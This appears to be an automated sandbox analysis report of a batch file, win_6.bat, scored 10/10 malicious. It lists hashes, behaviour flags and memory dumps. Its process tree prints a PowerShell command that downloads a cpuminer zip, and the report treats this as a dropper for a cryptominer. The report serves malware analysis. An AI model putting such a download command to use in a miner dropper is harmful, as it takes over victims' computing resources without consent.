c2fe05164b92d20e8976f4994bdea7a7e9bd4cb9f85d9dcecef9c5876a5bfd70

Analysis

max time kernel
380s
max time network
1590s
platform
windows10-1703_x64
resource
win10-20230621-en
resource tags

arch:x64arch:x86image:win10-20230621-enlocale:en-usos:windows10-1703-x64system
submitted
30-06-2023 14:47

Target

win_6.bat
Size

706B
MD5

ddc05c409f627a4382bff4c3a49423df
SHA1

0f77ae481593bc1b0669dae7a044d0b96f39413f
SHA256

6daf93d284bd5d39f613d6d3f96c083d1b99baa10e7acbf65f74ab84fe551887
SHA512

0bdfacc137a0f40cfffa34d3549961fe20dc35905e14a9b5c207cab380594dff09dfe641a534fb0d3211bcce3b727801df8c7c635fbc9c0cd26d6e7914818cc3

Score

10^/10

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/rplant8/cpuminer-opt-rplant/releases/latest/download/cpuminer-opt-win.zip

Blocklisted process makes network request 5 IoCs

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4752	2196	WerFault.exe	67

Suspicious behavior: EnumeratesProcesses 3 IoCs

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 2196	5004	cmd.exe	67
PID 5004 wrote to memory of 2196	5004	cmd.exe	67

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\win_6.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/rplant8/cpuminer-opt-rplant/releases/latest/download/cpuminer-opt-win.zip', 'cpuminer-opt-win.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2196
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2196 -s 2604
    3⤵
    - Program crash
    PID:4752

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_it1xfq0b.mrg.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2196-121-0x0000020924A10000-0x0000020924A32000-memory.dmp

Filesize
136KB

Download
memory/2196-124-0x0000020924AE0000-0x0000020924AF0000-memory.dmp

Filesize
64KB

Download
memory/2196-125-0x0000020924CF0000-0x0000020924D66000-memory.dmp

Filesize
472KB

Download
memory/2196-126-0x0000020924AE0000-0x0000020924AF0000-memory.dmp

Filesize
64KB

Download
memory/2196-141-0x0000020924AE0000-0x0000020924AF0000-memory.dmp

Filesize
64KB

Download
memory/2196-142-0x0000020924AE0000-0x0000020924AF0000-memory.dmp

Filesize
64KB

Download
memory/2196-143-0x0000020924AE0000-0x0000020924AF0000-memory.dmp

Filesize
64KB

Download